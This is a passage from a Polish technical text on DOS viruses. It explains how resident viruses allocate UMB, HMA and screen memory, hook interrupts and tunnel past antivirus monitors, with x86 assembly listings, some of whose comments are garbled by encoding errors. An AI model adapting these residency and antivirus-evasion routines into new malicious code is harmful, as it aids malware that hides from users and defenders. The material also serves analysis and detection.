niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu
następującej sekwencji w asemblerze:
; Do│╣czanie pamiŕci UMB do │a˝cucha UMB i zmiana strategii
przydzia│u pamiŕci
MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiŕ
INT 21h ; wywo│aj funkcjŕ DOS
PUSH AX ; zachowaj odczytane strategiŕ
MOV AX,5802h ; weč informacjŕ o do│╣czeniu pamiŕci
UMB
INT 21h ; wywo│aj funkcjŕ DOS
PUSH AX ; zachowaj informacjŕ na stosie
MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB
do │a˝cucha MCB MOV BX,1 ; podfunkcja - do│╣cz
bloki
INT 21h ; wywo│aj funkcjŕ DOS
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiŕ
pamiŕci
MOV BX,82h ; nowa strategia (UMB+ostatni
spe│niaj╣cy warunek)
INT 21h ; wywo│aj funkcjŕ DOS
....... ; operacje na blokach MCB (na ca│ym ich
│a˝cuchu)
POP BX ; weč pierwotn╣ informacjŕ o do│╣czeniu
pamiŕci UMB
XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz
zale┐nie od BL MOV AX, 5803h ; funkcja DOS -
do│╣cz/od│╣cz bloki UMB do │a˝cucha mcb INT 21H
; wywo│aj funkcjŕ DOS
POP BX ; przywrˇŠ pierwotn╣ strategiŕ

MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiŕ
pamiŕci wg BX
INT 21h ; wywo│aj funkcjŕ DOS

Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy
ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest
chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego
jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w
efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże
wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z
mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za
pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie
procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku
UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizmˇw XMS do przydzia│u bloku UMB
MOV AX,4300H ; funkcja - sprawdč, czy zainstalowany
mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS?
JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany
MOV AX,4310H ; funkcja - weč adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era
XMS
MOV [PROCOFS],BX
MOV AH,10h ; funkcja XMS - przydziel pamiŕŠ UMB
MOV DX,rozmiar ; podaj iloťŠ ┐╣danej pamiŕci w
paragrafach
CALL [PROCSEG] ; wywo│aj procedurŕ mened┐era XMS
CMP AX,l ; jeťli nie ma b│ŕdu, to AX-1
JNE BLAD ; skocz, Jeťli AX<>1
; BX = adres przydzielonego bloku

5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w
pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do
zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres
10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS,
aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system
wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci
następującej sekwencji:
; Przydzia│ fragmentu pamiŕci HMA
MOV AX,4A01h ; funkcja - sprawdč iloťŠ wolnej HMA
INT 2Fh ; wywo│aj przerwanie multipleksowane BX
= iloťŠ wolnej
; pamiŕci HMA w bajtach,
; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR ; czy jest odpowiednia iloťŠ pamiŕci

jb NieMaHMA ; jeťli mniej, to nie przydzielaj
MOV AX, 4A02h ; funkcja - przydziel pamiŕŠ HMA
MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiŕci
INT 2Fh ; wywo│aj przerwanie multipleksowane

; BX = iloťŠ przydzielonej pamiŕci HMA w

paragrafach

; ES:DI wskazuje na przydzielony obszar

HMA
NieMaHMA:

Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA
(ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy
skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS
(najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
; Przydziel ca│e pamiŕŠ HMA programowi
MOV AX,4300h ; funkcja - sprawdč, czy zainstalowany
mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS ?
JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany
MOV AX,4310h ; funkcja - weč adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era
XMS
MOV [PROCOFS],BX
MOV AH,l ; funkcja XMS - przydziel pamiŕŠ HMA
MOV DX,ROZMIAR ; podaj iloťŠ ┐╣danej pamiŕci w bajtach
CALL [PROCSEG] ; wywo│aj procedurŕ mened┐era XMS
CMP AX, l ; jeťli nie ma b│ŕdu, to AX=1
JNE BLAD ; skocz, jeťli AX1

5.5. Nietypowe metody instalacji

5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej
przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci
ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w
segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są
dane dla trybów tekstowych ekranu.

5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca
wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów
stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w
obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie
zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą
kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory
80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury

obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie
rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu
0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów)
w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje
więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do
przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.

ROZDZIAŁ 6

6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w
rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez
wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego
elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania
wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez
włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba
modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala
wykryć uruchomiony debugger.
> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod
0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do
wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie
jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony
debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę
przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można
zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania
przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych,
rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu
klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję
(4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla
funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do
efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest
sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o
obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci
operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej
systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują
głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci
dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować
przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem
przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności

w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie
sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej
podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego
przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie
innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych.
Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na
przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje
systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie
obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe
IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez
przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana
przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie
umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury.
Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii
wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć
rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych
znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej
przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę
przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków
logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części
systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem.
Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy,
uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest
potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji
często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej
wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W
wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang.
Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć
operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia
jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa
przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS
sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one
następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas
infekcji
MOV AL,3 ; sygnalizuj b│╣d programowi (czyli
wirusowi)

IRET ; powrˇt 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków
logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego
odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach
logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą
je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z
pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR,
nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji
(31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w
tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do
infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus
DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność
wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania
13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję
plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji
(1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table),
w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych
przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS,
gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu
systemu DOS, ale może być podmieniony przez program antywirusowy). Adres
wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji
DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie
kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające
większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje
m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości
BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas
inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na
40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z
pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego
przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu
odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego
lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do
ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy
przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo
jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby
przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez
siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to
numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za

pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej
procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie
jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania,
czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć
powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już
zainstalowany, ma najczęściej postać:
MOV AX.HASúO ; najczŕťciej w AX podaje siŕ jak╣ť nie
typow╣ funkcjŕ
INT xx ; xx - numer przerwania (najczŕťciej
21h)
CMP REJ,ODPOWIEDĆ ; czy wirus ju┐ zainstalowany (rej -
najczŕťciej AX)
JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwrˇci│
odpowiedč
........... ; zainstaluj siŕ
Ju┐Zainstalowany: ; powrˇŠ do nosiciela

Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście
przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy
nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa.
Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z
używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może
kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli
jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne
działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu
użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących
stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez
programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z
tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi
przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku
twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność
swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z
niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.:
10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W
przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy
korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie
odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne
przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na
urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do
programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do
dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między
systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie
pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do
wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.

6.2. Wykorzystanie funkcji DOS

Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu
funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
; Przejmowanie przerwa˝ za pomoce DOS-a
MOV AL, NUMER ; podaj w AL numer przerwania
MOV AH, 35h ; w AH numer funkcji, weč adres starej
procedury
; obs│ugi przerwania
INT 21h ; wywo│aj funkcjŕ DOS po wywo│aniu
funkcji
MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej
procedury
MOV [StaryOFS],BX ; obs│ugi, ktˇry najczŕťciej
zapamiŕtuje siŕ
MOV AH, 25h ; w AH numer funkcji, ustaw now╣
procedurŕ obs│ugi
; przerwania
MOV AL,NUMER ; w AL numer przerwania
MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej
procedury
MOV DX, OFFSET Nowa ; obs│ugi przerwania
INT 21h ; wywo│aj funkcjŕ DOS

Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze
względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy,
stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę
innych, omówionych poniżej.

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie
przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu
poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z
poprzedniego punktu:
: Przejmowanie przerwa˝ bezpoťrednio w tablicy przerwa˝
MOV BL, NUMER ; w BL numer zmienianego przerwania
XOR BH,BH ; BX=BL
SHL BX,l ; pomnˇ┐ je przez 4 (2 razy przesu˝
w lewo)
SHL BX,l ; jeszcze raz przesu˝ w lewo
XOR AX,AX ; zeruj rejestr AX
MOV DS,AX ; i z jego pomoc╣ zeruj rejestr
segmentu DS

; DS:BX wskazuje na pozycjŕ w tablicy

przerwa˝,
; gdzie zapisany jest adres obs│ugi
przerwania
LDS DX,DS:[BX] ; pobierz segment i offset
przerwania (do
; zapamiŕtania)
MOV [StarySEG],DS ; zachowaj segment
MOV [StaryOFS],DX ; zachowaj offset
MOV DS,AX ; ponownie DS=0
CLI ; bezpiecznie zmieniaŠ adres

obs│ugi przerwania
; przy wy│╣czonych przerwaniach
MOV DS:[BXJ,OFFSET NOWA ; bezpoťrednie wartoťci wskazujŕ
; na adres nowej
MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania
STI ; teraz mo┐na ju┐ w│╣czyŠ
przerwania

Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci
absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż
jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).

6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie
czystych wejść do systemu (ang. tunnelling)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez
najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali
innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy
przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego
łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania
pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne
są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn.
wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub
nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim
wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa
procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to
po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.

6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do
przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest
oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu
DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB
(oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu
przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
DOS używa HMA

DOS nie używa HMA

Adres

Kod

Znaczenie

Kod

Znaczenie

SEG:OFS

90 90

NOP NOP

EB 03

JMP $+3

SEG:OFS+2 E8 xxxx

CALL [IP+xxxx] E8 xxxx

CALL [IP+xxxx]

SEG:OFS+5

2E FF 2E yyyy

JMP FAR
CS:[yyyy]

2E FF 2E

JMP FAR
CS:[yyyy]

Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie
OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej
6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh
(dla wersji 7.00).

Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie
powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h,
korzystając z następującej sekwencji:
MOV AH,30H ; funkcja - weč wersjŕ systemu
INT 21h ; wywo│aj funkcjŕ
XCHG AL,AH ; zabieg kosmetyczny - aby pˇčniejsze

; porˇwnanie by│o bardziej przejrzyste
MOV BX,109EH ; offset dla wersji 5.00 - 6.22
CMP AX,0500h ; czy wersja
JB NIEDZIAúA ; jeťli tak, to tunneling nie dzia│a
CMP AX,0622h ; czy wersja wiŕksza od 6.22 ?
JB Wer5_6_22
MOV BX,OFB2h ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX ; zachowaj offset na stosie
MOV AH,52h ; funkcja - podaj adres do LL
INT 21h ; wywo│aj funkcjŕ
POP BX ; teraz ES:BX wskazuje na sekwencjŕ z
tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?
JE JEST ; jest czŕťŠ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga czŕťŠ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czŕťŠ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czŕťŠ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie
dzia│a
; znaleziona pe│na sekwencja
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny
adres int 21h
NIEDZIALA:

Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w
programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.

6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać
tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem
krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np.
przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie
tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy
znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie
zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub
funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h

(weź informację o parametrach dysku).

6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia
oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny.
Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej
przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków,
dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha
obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
......... ; pierwszy element │a˝cucha
Skok_do_Elementu_2
......... ; pamiŕŠ wykorzystywana przez inne
programy
Element_2 ......... ; drugi element │a˝cucha
Skok_do_Elementu_3
......... ; pamiŕŠ wykorzystywana przez inne
programy
Element_N ......... ; ostatni element │a˝cucha - poszukiwana
czŕťŠ systemu Powrˇt_Z_Elementu_N ; powrˇt poprzez rozkaz
IRET lub
; RETF 2 do elementu poprzedniego lub
bezpoťrednio
; do wywo│uj╣cego programu

Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić
do następującej sekwencji:
mov ah,52h ; pobierz do ES:BX adres
struktury
int 21h ; LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa˝
xchg ax,di ; DI=licznik sprawdzanych
bajtow=0
Adres 32:
Ids si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrˇt DS:SI-adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax, bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; weč 2 bajty bŕd╣ce czŕťci╣
aktualnej procedury dec si ; sprawdzamy
co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - weč kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - weč kolejny adres

cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD
cmp byte ptr [si+l],al ; czy dalsz╣ czŕťŠ rozkazu JMP
FAR CS:DWORD ?
jne NieJMP_DWORD
mov si,ds:[si+2] ; pobierz offset do danych dla
skoku jmp short Adres32 ; TAK - weč
kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajtˇw
and DI,4095 ; je┐eli sprawdzono ju┐ 4095
bajtˇw,
je Recursive21_Exit ; to ko˝cz, bo tuneling nie
dzia│a
jmp NastepnyBajt ; weč kolejny bajt
WSegmencieDOS:
............ ; adres zosta│ znaleziony (jest
w DS:SI)
RecursNieDzia│a:
............ ; adres nie zosta│ znaleziony

6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych
